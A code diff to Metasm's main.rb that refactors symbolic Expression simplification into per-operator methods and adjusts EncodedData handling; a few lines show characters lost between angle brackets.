b/lib/metasm/metasm/main.rb @@ -23,7 +23,7 @@ class CPU attr_accessor :valid_args, :valid_props, :fields_mask attr_accessor :endianness, :size attr_accessor :generate_PIC - + def opcode_list @opcode_list ||= init_opcode_list end @@ -32,8 +32,8 @@ class CPU def initialize @fields_mask = {} @fields_shift= {} - @valid_args = [] - @valid_props = [:setip, :saveip, :stopexec] + @valid_args = {} + @valid_props = { :setip => true, :saveip => true, :stopexec => true } @generate_PIC = true end @@ -81,6 +81,17 @@ class CPU def shortname self.class.name.sub(/.*::/, '').downcase end + + # some userinterface wants to hilight a word, return a regexp + # useful for register aliases + # the regexp will be enclosed in \b and should not contain captures + def gui_hilight_word_regexp(word) + Regexp.escape(word) + end + + # returns true if the name is invalid as a label name (eg register name) + def check_reserved_name(name) + end end # generic CPU, with no instructions, just size/endianness @@ -120,6 +131,15 @@ class Opcode def basename @name.sub(/\..*/, '') end + + def dup + o = Opcode.new(@name.dup, @bin) + o.bin = @bin.dup if @bin.kind_of?(::Array) + o.args = @args.dup + o.fields = @fields.dup + o.props = @props.dup + o + end end # defines an attribute self.backtrace (array of filename/lineno) @@ -341,7 +361,7 @@ class Expression < ExpressionType if not op raise ArgumentError, 'invalid Expression[nil]' if not l return l if l.kind_of? Expression - if l.kind_of? ::Numeric and l < 0 + if l.kind_of?(::Numeric) and l < 0 r = -l op = :'-' else @@ -354,9 +374,9 @@ class Expression < ExpressionType end l = nil else - l = self[*l] if l.kind_of? ::Array + l = self[*l] if l.kind_of?(::Array) end - r = self[*r] if r.kind_of? ::Array + r = self[*r] if r.kind_of?(::Array) new(op, r, l) end @@ -364,7 +384,7 @@ class Expression < ExpressionType # returns true if it is, false if it overflows, and nil if cannot be determined (eg unresolved variable) def self.in_range?(val, type) val = val.reduce if val.kind_of? self - return unless val.kind_of? ::Numeric + return unless val.kind_of?(::Numeric) if INT_MIN[type] val == val.to_i and @@ -374,8 +394,11 @@ class Expression < ExpressionType # casts an unsigned value to a two-complement signed if the sign bit is set def self.make_signed(val, bitlength) - if val.kind_of? Integer - val = val - (1 << bitlength) if val >> (bitlength - 1) == 1 + case val + when Integer + val = val - (1 << bitlength) if val > 0 and val >> (bitlength - 1) == 1 + when Expression + val = Expression[val, :-, [(1<>, (bitlength-1)], :==, 1]]] end val end @@ -390,8 +413,10 @@ class Expression < ExpressionType # basic constructor # XXX funny args order, you should use +Expression[]+ instead def initialize(op, rexpr, lexpr) - raise ArgumentError, "Expression: invalid arg order: #{[lexpr, op, rexpr].inspect}" if not op.kind_of? ::Symbol - @op, @lexpr, @rexpr = op, lexpr, rexpr + raise ArgumentError, "Expression: invalid arg order: #{[lexpr, op, rexpr].inspect}" if not op.kind_of?(::Symbol) + @op = op + @lexpr = lexpr + @rexpr = rexpr end # recursive check of equity using #== @@ -415,20 +440,21 @@ class Expression < ExpressionType return binding[self].dup end - l, r = @lexpr, @rexpr + l = @lexpr + r = @rexpr if l and binding[l] - raise "internal error - bound #{l.inspect}" if l.kind_of? ::Numeric + raise "internal error - bound #{l.inspect}" if l.kind_of?(::Numeric) l = binding[l] elsif l.kind_of? ExpressionType l = l.bind(binding) end if r and binding[r] - raise "internal error - bound #{r.inspect}" if r.kind_of? ::Numeric + raise "internal error - bound #{r.inspect}" if r.kind_of?(::Numeric) r = binding[r] elsif r.kind_of? ExpressionType r = r.bind(binding) end - Expression[l, @op, r] + Expression.new(@op, r, l) end # bind in place (replace self.lexpr/self.rexpr with the binding value) @@ -492,10 +518,13 @@ class Expression < ExpressionType end v = - if r.kind_of?(::Numeric) and (l == nil or l.kind_of?(::Numeric)) - # calculate numerics - if [:'&&', :'||', :'>', :'<', :'>=', :'<=', :'==', :'!='].include?(@op) - # bool expr + if r.kind_of?(::Numeric) and (not l or l.kind_of?(::Numeric)) + case @op + when :+; l ? l + r : r + when :-; l ? l - r : -r + when :'!'; raise 'internal error' if l ; (r == 0) ? 1 : 0 + when :'~'; raise 'internal error' if l ; ~r + when :'&&', :'||', :'>', :'<', :'>=', :'<=', :'==', :'!=' raise 'internal error' if not l case @op when :'&&'; (l != 0) && (r != 0) @@ -507,194 +536,18 @@ class Expression < ExpressionType when :'=='; l == r when :'!='; l != r end ? 1 : 0 - elsif not l - case @op - when :'!'; (r == 0) ? 1 : 0 - when :+; r - when :-; -r - when :~; ~r - end else - # use ruby evaluator l.send(@op, r) end - - elsif @op == :'&&' - if l == 0 # shortcircuit eval - 0 - elsif l == 1 - Expression[r, :'!=', 0].reduce_rec - elsif r == 0 - 0 # XXX l could be a special ExprType with sideeffects ? - end - elsif @op == :'||' - if l.kind_of? ::Numeric and l != 0 # shortcircuit eval - 1 - elsif l == 0 - Expression[r, :'!=', 0].reduce_rec - elsif r == 0 - Expression[l, :'!=', 0].reduce_rec - end - elsif @op == :>> or @op == :<< - if l == 0; 0 - elsif r == 0; l - elsif l.kind_of? Expression and l.op == @op - Expression[l.lexpr, @op, [l.rexpr, :+, r]].reduce_rec - # XXX (a >> 1) << 1 != a (lose low bit) - # XXX (a << 1) >> 1 != a (with real cpus, lose high bit) - # (a | b) << i - elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op - Expression[[l.lexpr, @op, r], l.op, [l.rexpr, @op, r]].reduce_rec - end - elsif @op == :'!' - if r.kind_of? Expression and op = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}[r.op] - Expression[r.lexpr, op, r.rexpr].reduce_rec - end - elsif @op == :== - if l == r; 1 - elsif r == 0 and l.kind_of? Expression and op = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}[l.op] - Expression[l.lexpr, op, l.rexpr].reduce_rec - elsif r == 1 and l.kind_of? Expression and op = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}[l.op] - l - elsif r == 0 and l.kind_of? Expression and l.op == :+ - if l.rexpr.kind_of? Expression and l.rexpr.op == :- and not l.rexpr.lexpr - Expression[l.lexpr, @op, l.rexpr.rexpr].reduce_rec - elsif l.rexpr.kind_of? ::Integer - Expression[l.lexpr, @op, -l.rexpr].reduce_rec - end - end - elsif @op == :'!=' - if l == r; 0 - end - elsif @op == :^ - if l == :unknown or r == :unknown; :unknown - elsif l == 0; r - elsif r == 0; l - elsif l == r; 0 - elsif r == 1 and l.kind_of? Expression and [:'==', :'!=', :<, :>, :<=, :>=].include? l.op - Expression[nil, :'!', l].reduce_rec - elsif l.kind_of?(::Numeric) - if r.kind_of? Expression and r.op == :^ - # 1^(x^y) => x^(y^1) - Expression[r.lexpr, :^, [r.rexpr, :^, l]].reduce_rec - else - # 1^a => a^1 - Expression[r, :^, l].reduce_rec - end - elsif l.kind_of? Expression and l.op == :^ - # (a^b)^c => a^(b^c) - Expression[l.lexpr, :^, [l.rexpr, :^, r]].reduce_rec - elsif r.kind_of? Expression and r.op == :^ - if r.rexpr == l - # a^(a^b) => b - r.lexpr - elsif r.lexpr == l - # a^(b^a) => b - r.rexpr - else - # a^(b^(c^(a^d))) => b^(a^(c^(a^d))) - # XXX ugly.. - tr = r - found = false - while not found and tr.kind_of?(Expression) and tr.op == :^ - found = true if tr.lexpr == l or tr.rexpr == l - tr = tr.rexpr - end - if found - Expression[r.lexpr, :^, [l, :^, r.rexpr]].reduce_rec - end - end - elsif l.kind_of?(Expression) and l.op == :& and l.rexpr.kind_of?(::Integer) and (l.rexpr & (l.rexpr+1)) == 0 - if r.kind_of?(::Integer) and r & l.rexpr == r - # (a&0xfff)^12 => (a^12)&0xfff - Expression[[l.lexpr, :^, r], :&, l.rexpr].reduce_rec - elsif r.kind_of?(Expression) and r.op == :& and r.rexpr.kind_of?(::Integer) and r.rexpr == l.rexpr - # (a&0xfff)^(b&0xfff) => (a^b)&0xfff - Expression[[l.lexpr, :^, r.lexpr], :&, l.rexpr].reduce_rec - end - end - elsif @op == :& - if l == 0 or r == 0; 0 - elsif r == 1 and l.kind_of?(Expression) and [:'==', :'!=', :<, :>, :<=, :>=].include?(l.op) - l - elsif l == r; l - elsif l.kind_of?(Integer); Expression[r, @op, l].reduce_rec - elsif l.kind_of?(Expression) and l.op == @op; Expression[l.lexpr, @op, [l.rexpr, @op, r]].reduce_rec - elsif l.kind_of?(Expression) and [:|, :^].include?(l.op) and r.kind_of?(Integer) and (l.op == :| or (r & (r+1)) != 0) - # (a ^| b) & i => (a&i ^| b&i) - Expression[[l.lexpr, :&, r], l.op, [l.rexpr, :&, r]].reduce_rec - elsif r.kind_of?(::Integer) and l.kind_of?(Expression) and (r & (r+1)) == 0 - # foo & 0xffff - reduce_rec_mod2(l, r) - end - elsif @op == :| - if l == 0; r - elsif r == 0; l - elsif l == -1 or r == -1; -1 - elsif l == r; l - elsif l.kind_of? Integer; Expression[r, @op, l].reduce_rec - elsif l.kind_of? Expression and l.op == @op; Expression[l.lexpr, @op, [l.rexpr, @op, r]].reduce_rec - end - elsif @op == :* - if l == 0 or r == 0; 0 - elsif l == 1; r - elsif r == 1; l - elsif r.kind_of? Integer; Expression[r, @op, l].reduce_rec - elsif r.kind_of? Expression and r.op == @op; Expression[[l, @op, r.lexpr], @op, r.rexpr].reduce_rec - elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :* and r.lexpr.kind_of? Integer; Expression[l*r.lexpr, :*, r.rexpr].reduce_rec # XXX need & regsize.. - elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :+ and r.rexpr.kind_of? Integer; Expression[[l, :*, r.lexpr], :+, l*r.rexpr].reduce_rec - end - elsif @op == :/ - if r == 0 - elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :+ and l.rexpr.kind_of? Integer and l.rexpr % r == 0 - Expression[[l.lexpr, :/, r], :+, l.rexpr/r].reduce_rec - elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :* and l.lexpr % r == 0 - Expression[l.lexpr/r, :*, l.rexpr].reduce_rec - end - elsif @op == :- - if l == :unknown or r == :unknown; :unknown - elsif not l and r.kind_of? Expression and (r.op == :- or r.op == :+) - if r.op == :- # no lexpr (reduced) - # -(-x) => x - r.rexpr - else # :+ and lexpr (r is reduced) - # -(a+b) => (-a)+(-b) - Expression[[:-, r.lexpr], :+, [:-, r.rexpr]].reduce_rec - end - elsif l.kind_of? Expression and l.op == :+ and l.lexpr == r - # shortcircuit for a common occurence [citation needed] - # (a+b)-a - l.rexpr - elsif l - # a-b => a+(-b) - Expression[l, :+, [:-, r]].reduce_rec - end - elsif @op == :+ - if l == :unknown or r == :unknown; :unknown - elsif not l; r # +x => x - elsif r == 0; l # x+0 => x - elsif l.kind_of?(::Numeric) - if r.kind_of? Expression and r.op == :+ - # 1+(x+y) => x+(y+1) - Expression[r.lexpr, :+, [r.rexpr, :+, l]].reduce_rec - else - # 1+a => a+1 - Expression[r, :+, l].reduce_rec - end - # (a+b)+foo => a+(b+foo) - elsif l.kind_of? Expression and l.op == @op; Expression[l.lexpr, @op, [l.rexpr, @op, r]].reduce_rec - elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :% and r.op == :% and l.rexpr.kind_of?(::Integer) and l.rexpr == r.rexpr - Expression[[l.lexpr, :+, r.lexpr], :%, l.rexpr].reduce_rec - else - reduce_rec_add(l, r) - end + elsif rp = @@reduce_op[@op] + rp[self, l, r] end ret = case v when nil # no dup if no new value (r == :unknown or l == :unknown) ? :unknown : - ((r == @rexpr and l == @lexpr) ? self : Expression[l, @op, r]) + ((r == @rexpr and l == @lexpr) ? self : Expression.new(@op, r, l)) when Expression (v.lexpr == :unknown or v.rexpr == :unknown) ? :unknown : v else v @@ -709,54 +562,248 @@ class Expression < ExpressionType ret end + @@reduce_op = { + :+ => lambda { |e, l, r| e.reduce_op_plus(l, r) }, + :- => lambda { |e, l, r| e.reduce_op_minus(l, r) }, + :'&&' => lambda { |e, l, r| e.reduce_op_andand(l, r) }, + :'||' => lambda { |e, l, r| e.reduce_op_oror(l, r) }, + :>> => lambda { |e, l, r| e.reduce_op_shr(l, r) }, + :<< => lambda { |e, l, r| e.reduce_op_shl(l, r) }, + :'!' => lambda { |e, l, r| e.reduce_op_not(l, r) }, + :== => lambda { |e, l, r| e.reduce_op_eql(l, r) }, + :'!=' => lambda { |e, l, r| e.reduce_op_neq(l, r) }, + :^ => lambda { |e, l, r| e.reduce_op_xor(l, r) }, + :& => lambda { |e, l, r| e.reduce_op_and(l, r) }, + :| => lambda { |e, l, r| e.reduce_op_or(l, r) }, + :* => lambda { |e, l, r| e.reduce_op_times(l, r) }, + :/ => lambda { |e, l, r| e.reduce_op_div(l, r) }, + :% => lambda { |e, l, r| e.reduce_op_mod(l, r) }, + } - # a+(b+(c+(-a))) => b+c+0 - # a+((-a)+(b+c)) => 0+b+c - def reduce_rec_add(l, r) - if l.kind_of? Expression and l.op == :- and not l.lexpr - neg_l = l.rexpr - else - neg_l = Expression[:-, l] - end - # recursive search & replace -lexpr by 0 - simplifier = lambda { |cur| - if neg_l == cur - # -l found - 0 - elsif cur.kind_of? Expression and cur.op == :+ - # recurse - if newl = simplifier[cur.lexpr] - Expression[newl, cur.op, cur.rexpr].reduce_rec - elsif newr = simplifier[cur.rexpr] - Expression[cur.lexpr, cur.op, newr].reduce_rec - end - end - } + def self.reduce_op + @@reduce_op + end - simplifier[r] - end - - # expr & 0xffff - def reduce_rec_mod2(e, mask) - case e.op - when :+, :^ - if e.lexpr.kind_of?(Expression) and e.lexpr.op == :& and - e.lexpr.rexpr.kind_of?(::Integer) and e.lexpr.rexpr & mask == mask - # ((a&m) + b) & m => (a+b) & m - Expression[[e.lexpr.lexpr, e.op, e.rexpr], :&, mask].reduce_rec - elsif e.rexpr.kind_of?(Expression) and e.rexpr.op == :& and - e.rexpr.rexpr.kind_of?(::Integer) and e.rexpr.rexpr & mask == mask - # (a + (b&m)) & m => (a+b) & m - Expression[[e.lexpr, e.op, e.rexpr.lexpr], :&, mask].reduce_rec + def reduce_op_plus(l, r) + if not l; r # +x => x + elsif r == 0; l # x+0 => x + elsif l == :unknown or r == :unknown; :unknown + elsif l.kind_of?(::Numeric) + if r.kind_of? Expression and r.op == :+ + # 1+(x+y) => x+(y+1) + Expression[r.lexpr, :+, [r.rexpr, :+, l]].reduce_rec else - Expression[e, :&, mask] + # 1+a => a+1 + Expression[r, :+, l].reduce_rec end - when :| - # rol/ror composition - reduce_rec_composerol e, mask + # (a+b)+foo => a+(b+foo) + elsif l.kind_of? Expression and l.op == :+; Expression[l.lexpr, :+, [l.rexpr, :+, r]].reduce_rec + elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :% and r.op == :% and l.rexpr.kind_of?(::Integer) and l.rexpr == r.rexpr + Expression[[l.lexpr, :+, r.lexpr], :%, l.rexpr].reduce_rec + elsif l.kind_of? Expression and l.op == :- and not l.lexpr + reduce_rec_add_rec(r, l.rexpr) + elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :& and r.op == :& and l.rexpr.kind_of?(::Integer) and r.rexpr.kind_of?(::Integer) and l.rexpr & r.rexpr == 0 + # (a&0xf0)+(b&0x0f) => (a&0xf0)|(b&0x0f) + Expression[l, :|, r].reduce_rec else - Expression[e, :&, mask] + reduce_rec_add_rec(r, Expression.new(:-, l, nil)) + end + end + + def reduce_rec_add_rec(cur, neg_l) + if neg_l == cur + # -l found + 0 + elsif cur.kind_of?(Expression) and cur.op == :+ + # recurse + if newl = reduce_rec_add_rec(cur.lexpr, neg_l) + Expression[newl, cur.op, cur.rexpr].reduce_rec + elsif newr = reduce_rec_add_rec(cur.rexpr, neg_l) + Expression[cur.lexpr, cur.op, newr].reduce_rec + end + end + end + + def reduce_op_minus(l, r) + if l == :unknown or r == :unknown; :unknown + elsif not l and r.kind_of? Expression and (r.op == :- or r.op == :+) + if r.op == :- # no lexpr (reduced) + # -(-x) => x + r.rexpr + else # :+ and lexpr (r is reduced) + # -(a+b) => (-a)+(-b) + Expression.new(:+, Expression.new(:-, r.rexpr, nil), Expression.new(:-, r.lexpr, nil)).reduce_rec + end + elsif l.kind_of? Expression and l.op == :+ and l.lexpr == r + # shortcircuit for a common occurence [citation needed] + # (a+b)-a + l.rexpr + elsif l + # a-b => a+(-b) + Expression[l, :+, [:-, r]].reduce_rec + end + end + + def reduce_op_andand(l, r) + if l == 0 # shortcircuit eval + 0 + elsif l == 1 + Expression[r, :'!=', 0].reduce_rec + elsif r == 0 + 0 # XXX l could be a special ExprType with sideeffects ? + end + end + + def reduce_op_oror(l, r) + if l.kind_of?(::Numeric) and l != 0 # shortcircuit eval + 1 + elsif l == 0 + Expression[r, :'!=', 0].reduce_rec + elsif r == 0 + Expression[l, :'!=', 0].reduce_rec + end + end + + def reduce_op_shr(l, r) + if l == 0; 0 + elsif r == 0; l + elsif l.kind_of? Expression and l.op == :>> + Expression[l.lexpr, :>>, [l.rexpr, :+, r]].reduce_rec + elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op + # (a | b) << i => (a<>, r], l.op, [l.rexpr, :>>, r]].reduce_rec + end + end + + def reduce_op_shl(l, r) + if l == 0; 0 + elsif r == 0; l + elsif l.kind_of? Expression and l.op == :<< + Expression[l.lexpr, :<<, [l.rexpr, :+, r]].reduce_rec + elsif l.kind_of? Expression and l.op == :>> and r.kind_of? Integer and l.rexpr.kind_of? Integer + # (a >> 1) << 1 == a & 0xfffffe + if r == l.rexpr + Expression[l.lexpr, :&, (-1 << r)].reduce_rec + elsif r > l.rexpr + Expression[[l.lexpr, :<<, r-l.rexpr], :&, (-1 << r)].reduce_rec + else + Expression[[l.lexpr, :>>, l.rexpr-r], :&, (-1 << r)].reduce_rec + end + elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op + # (a | b) << i => (a< :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<} + + def reduce_op_not(l, r) + if r.kind_of? Expression and nop = NEG_OP[r.op] + Expression[r.lexpr, nop, r.rexpr].reduce_rec + end + end + + def reduce_op_eql(l, r) + if l == r; 1 + elsif r == 0 and l.kind_of? Expression and nop = NEG_OP[l.op] + Expression[l.lexpr, nop, l.rexpr].reduce_rec + elsif r == 1 and l.kind_of? Expression and NEG_OP[l.op] + l + elsif r == 0 and l.kind_of? Expression and l.op == :+ + if l.rexpr.kind_of? Expression and l.rexpr.op == :- and not l.rexpr.lexpr + Expression[l.lexpr, :==, l.rexpr.rexpr].reduce_rec + elsif l.rexpr.kind_of?(::Integer) + Expression[l.lexpr, :==, -l.rexpr].reduce_rec + end + end + end + + def reduce_op_neq(l, r) + if l == r; 0 + end + end + + def reduce_op_xor(l, r) + if l == :unknown or r == :unknown; :unknown + elsif l == 0; r + elsif r == 0; l + elsif l == r; 0 + elsif r == 1 and l.kind_of? Expression and NEG_OP[l.op] + Expression[nil, :'!', l].reduce_rec + elsif l.kind_of?(::Numeric) + if r.kind_of? Expression and r.op == :^ + # 1^(x^y) => x^(y^1) + Expression[r.lexpr, :^, [r.rexpr, :^, l]].reduce_rec + else + # 1^a => a^1 + Expression[r, :^, l].reduce_rec + end + elsif l.kind_of? Expression and l.op == :^ + # (a^b)^c => a^(b^c) + Expression[l.lexpr, :^, [l.rexpr, :^, r]].reduce_rec + elsif r.kind_of? Expression and r.op == :^ + if r.rexpr == l + # a^(a^b) => b + r.lexpr + elsif r.lexpr == l + # a^(b^a) => b + r.rexpr + else + # a^(b^(c^(a^d))) => b^(a^(c^(a^d))) + # XXX ugly.. + tr = r + found = false + while not found and tr.kind_of?(Expression) and tr.op == :^ + found = true if tr.lexpr == l or tr.rexpr == l + tr = tr.rexpr + end + if found + Expression[r.lexpr, :^, [l, :^, r.rexpr]].reduce_rec + end + end + elsif l.kind_of?(Expression) and l.op == :& and l.rexpr.kind_of?(::Integer) and (l.rexpr & (l.rexpr+1)) == 0 + if r.kind_of?(::Integer) and r & l.rexpr == r + # (a&0xfff)^12 => (a^12)&0xfff + Expression[[l.lexpr, :^, r], :&, l.rexpr].reduce_rec + elsif r.kind_of?(Expression) and r.op == :& and r.rexpr.kind_of?(::Integer) and r.rexpr == l.rexpr + # (a&0xfff)^(b&0xfff) => (a^b)&0xfff + Expression[[l.lexpr, :^, r.lexpr], :&, l.rexpr].reduce_rec + end + end + end + + def reduce_op_and(l, r) + if l == 0 or r == 0; 0 + elsif r == 1 and l.kind_of?(Expression) and [:'==', :'!=', :<, :>, :<=, :>=].include?(l.op) + l + elsif l == r; l + elsif l.kind_of?(Integer); Expression[r, :&, l].reduce_rec + elsif l.kind_of?(Expression) and l.op == :&; Expression[l.lexpr, :&, [l.rexpr, :&, r]].reduce_rec + elsif l.kind_of?(Expression) and [:|, :^].include?(l.op) and r.kind_of?(Integer) and (l.op == :| or (r & (r+1)) != 0) + # (a ^| b) & i => (a&i ^| b&i) + Expression[[l.lexpr, :&, r], l.op, [l.rexpr, :&, r]].reduce_rec + elsif r.kind_of?(::Integer) and l.kind_of?(Expression) and (r & (r+1)) == 0 + # foo & 0xffff + case l.op + when :+, :^ + if l.lexpr.kind_of?(Expression) and l.lexpr.op == :& and + l.lexpr.rexpr.kind_of?(::Integer) and l.lexpr.rexpr & r == r + # ((a&m) + b) & m => (a+b) & m + Expression[[l.lexpr.lexpr, l.op, l.rexpr], :&, r].reduce_rec + elsif l.rexpr.kind_of?(Expression) and l.rexpr.op == :& and + l.rexpr.rexpr.kind_of?(::Integer) and l.rexpr.rexpr & r == r + # (a + (b&m)) & m => (a+b) & m + Expression[[l.lexpr, l.op, l.rexpr.lexpr], :&, r].reduce_rec + else + Expression[l, :&, r] + end + when :| + # rol/ror composition + reduce_rec_composerol l, r + else + Expression[l, :&, r] + end end end @@ -766,14 +813,14 @@ class Expression < ExpressionType m = Expression[['var', :sh_op, 'amt'], :|, ['var', :inv_sh_op, 'inv_amt']] if vars = e.match(m, 'var', :sh_op, 'amt', :inv_sh_op, 'inv_amt') and vars[:sh_op] == {:>> => :<<, :<< => :>>}[vars[:inv_sh_op]] and ((vars['amt'].kind_of?(::Integer) and vars['inv_amt'].kind_of?(::Integer) and ampl = vars['amt'] + vars['inv_amt']) or - (vars['amt'].kind_of? Expression and vars['amt'].op == :% and vars['amt'].rexpr.kind_of? ::Integer and + (vars['amt'].kind_of? Expression and vars['amt'].op == :% and vars['amt'].rexpr.kind_of?(::Integer) and vars['inv_amt'].kind_of? Expression and vars['inv_amt'].op == :% and vars['amt'].rexpr == vars['inv_amt'].rexpr and ampl = vars['amt'].rexpr)) and mask == (1<> => :<<, :<< => :>>}[ivars[:inv_sh_op]] and ((ivars['amt'].kind_of?(::Integer) and ivars['inv_amt'].kind_of?(::Integer) and ampl = ivars['amt'] + ivars['inv_amt']) or - (ivars['amt'].kind_of? Expression and ivars['amt'].op == :% and ivars['amt'].rexpr.kind_of? ::Integer and + (ivars['amt'].kind_of? Expression and ivars['amt'].op == :% and ivars['amt'].rexpr.kind_of?(::Integer) and ivars['inv_amt'].kind_of? Expression and ivars['inv_amt'].op == :% and ivars['amt'].rexpr == ivars['inv_amt'].rexpr and ampl = ivars['amt'].rexpr)) if ivars[:sh_op] != vars[:sh_op] # ensure the rotations are the same orientation @@ -788,6 +835,48 @@ class Expression < ExpressionType end end + def reduce_op_or(l, r) + if l == 0; r + elsif r == 0; l + elsif l == -1 or r == -1; -1 + elsif l == r; l + elsif l.kind_of? Integer; Expression[r, :|, l].reduce_rec + elsif l.kind_of? Expression and l.op == :| + # (a|b)|c => a|(b|c) + Expression[l.lexpr, :|, [l.rexpr, :|, r]].reduce_rec + elsif l.kind_of? Expression and l.op == :& and r.kind_of? Expression and r.op == :& and l.lexpr == r.lexpr + # (a&b)|(a&c) => a&(b|c) + Expression[l.lexpr, :&, [l.rexpr, :|, r.rexpr]].reduce_rec + end + end + + def reduce_op_times(l, r) + if l == 0 or r == 0; 0 + elsif l == 1; r + elsif r == 1; l + elsif r.kind_of? Integer; Expression[r, :*, l].reduce_rec + elsif r.kind_of? Expression and r.op == :*; Expression[[l, :*, r.lexpr], :*, r.rexpr].reduce_rec + elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :* and r.lexpr.kind_of? Integer; Expression[l*r.lexpr, :*, r.rexpr].reduce_rec # XXX need & regsize.. + elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :+ and r.rexpr.kind_of? Integer; Expression[[l, :*, r.lexpr], :+, l*r.rexpr].reduce_rec + end + end + + def reduce_op_div(l, r) + if r == 0 + elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :+ and l.rexpr.kind_of? Integer and l.rexpr % r == 0 + Expression[[l.lexpr, :/, r], :+, l.rexpr/r].reduce_rec + elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :* and l.lexpr % r == 0 + Expression[l.lexpr/r, :*, l.rexpr].reduce_rec + end + end + + def reduce_op_mod(l, r) + if r.kind_of?(Integer) and r != 0 and (r & (r-1) == 0) + Expression[l, :&, r-1].reduce_rec + end + end + + # a pattern-matching method # Expression[42, :+, 28].match(Expression['any', :+, 28], 'any') => {'any' => 42} # Expression[42, :+, 28].match(Expression['any', :+, 'any'], 'any') => false @@ -816,24 +905,29 @@ class Expression < ExpressionType # returns the array of non-numeric members of the expression # if a variables appears 3 times, it will be present 3 times in the returned array def externals - [@rexpr, @lexpr].inject([]) { |a, e| + a = [] + [@rexpr, @lexpr].each { |e| case e when ExpressionType; a.concat e.externals when nil, ::Numeric; a else a << e end } + a end # returns the externals that appears in the expression, does not walk through other ExpressionType - def expr_externals - [@rexpr, @lexpr].inject([]) { |a, e| + def expr_externals(include_exprs=false) + a = [] + [@rexpr, @lexpr].each { |e| case e - when Expression; a.concat e.expr_externals - when nil, ::Numeric, ExpressionType; a + when Expression; a.concat e.expr_externals(include_exprs) + when nil, ::Numeric; a + when ExpressionType; include_exprs ? a << e : a else a << e end } + a end def inspect @@ -843,6 +937,25 @@ class Expression < ExpressionType Unknown = self[:unknown] end +# An Expression with a custom string representation +# used to show #define constants, struct offsets, func local vars, etc +class ExpressionString < ExpressionType + attr_accessor :expr, :str, :type, :hide_str + def reduce; expr.reduce; end + def reduce_rec; expr.reduce_rec; end + def bind(*a); expr.bind(*a); end + def externals; expr.externals; end + def expr_externals; expr.expr_externals; end + def match_rec(*a); expr.match_rec(*a); end + def initialize(expr, str, type=nil) + @expr = Expression[expr] + @str = str + @type = type + end + def render_str ; [str] ; end + def inspect ; "ExpressionString.new(#{@expr.inspect}, #{str.inspect}, #{type.inspect})" ; end +end + # an EncodedData relocation, specifies a value to patch in class Relocation # the relocation value (an Expression) @@ -855,7 +968,7 @@ class Relocation include Backtrace def initialize(target, type, endianness, backtrace = nil) - raise ArgumentError, "bad args #{[target, type, endianness].inspect}" if not target.kind_of? Expression or not type.kind_of? ::Symbol or not endianness.kind_of? ::Symbol + raise ArgumentError, "bad args #{[target, type, endianness].inspect}" if not target.kind_of? Expression or not type.kind_of?(::Symbol) or not endianness.kind_of?(::Symbol) @target, @type, @endianness, @backtrace = target, type, endianness, backtrace end @@ -890,7 +1003,11 @@ class EncodedData def ptr=(p) @ptr = @export[p] || p end # opts' keys in :reloc, :export, :virtsize, defaults to empty/empty/data.length - def initialize(data = '', opts={}) + def initialize(data='', opts={}) + if data.respond_to?(:force_encoding) and data.encoding.name != 'ASCII-8BIT' and data.length > 0 + puts "Forcing edata.data.encoding = BINARY at", caller if $DEBUG + data = data.dup.force_encoding('binary') + end @data = data @reloc = opts[:reloc] || {} @export = opts[:export] || {} @@ -904,9 +1021,10 @@ class EncodedData if set_inv or not @inv_export[off] @inv_export[off] = label end + label end - def del_export(label, off=@ptr) + def del_export(label, off=@export[label]) @export.delete label if e = @export.index(off) @inv_export[off] = e @@ -942,6 +1060,7 @@ class EncodedData # if numeric, replace the raw data with the encoding of this value (+fill+s preceding data if needed) and remove the reloc # if replace_target is true, the reloc target is replaced with its bound counterpart def fixup_choice(binding, replace_target) + return if binding.empty? @reloc.keys.each { |off| val = @reloc[off].target.bind(binding).reduce if val.kind_of? Integer @@ -973,13 +1092,15 @@ class EncodedData return {} if not key base = (@export[key] == 0 ? key : Expression[key, :-, @export[key]]) end - @export.inject({}) { |binding, (n, o)| binding.update n => Expression.new(:+, o, base) } + binding = {} + @export.each { |n, o| binding.update n => Expression.new(:+, o, base) } + binding end # returns an array of variables that needs to be defined for a complete #fixup # ie the list of externals for all relocations - def reloc_externals - @reloc.values.map { |r| r.target.externals }.flatten.uniq - @export.keys + def reloc_externals(interns = @export.keys) + @reloc.values.map { |r| r.target.externals }.flatten.uniq - interns end # returns the offset where the relocation for target t is to be applied @@ -1008,7 +1129,7 @@ class EncodedData end # concatenation of another +EncodedData+ (or nil/Fixnum/anything supporting String#<<) - def << other + def <<(other) case other when nil when ::Fixnum @@ -1027,8 +1148,8 @@ class EncodedData end @export[k] = v + @virtsize } - other.inv_export.each { |k, v| @inv_export[@virtsize + k] = v } - end + other.inv_export.each { |k, v| @inv_export[@virtsize + k] = v } + end if @data.empty?; @data = other.data.dup elsif not @data.kind_of?(String); @data = @data.to_str << other.data else @data << other.data @@ -1036,6 +1157,10 @@ class EncodedData @virtsize += other.virtsize else fill + if other.respond_to?(:force_encoding) and other.encoding.name != 'ASCII-8BIT' + puts "Forcing edata.data.encoding = BINARY at", caller if $DEBUG + other = other.dup.force_encoding('binary') + end if @data.empty?; @data = other.dup elsif not @data.kind_of?(String); @data = @data.to_str << other else @data << other @@ -1047,7 +1172,7 @@ class EncodedData end # equivalent to dup << other, filters out Integers & nil - def + other + def +(other) raise ArgumentError if not other or other.kind_of?(Integer) dup << other end @@ -1092,7 +1217,7 @@ class EncodedData val = len len = nil end - if not len and from.kind_of? ::Range + if not len and from.kind_of?(::Range) b = from.begin e = from.end b = 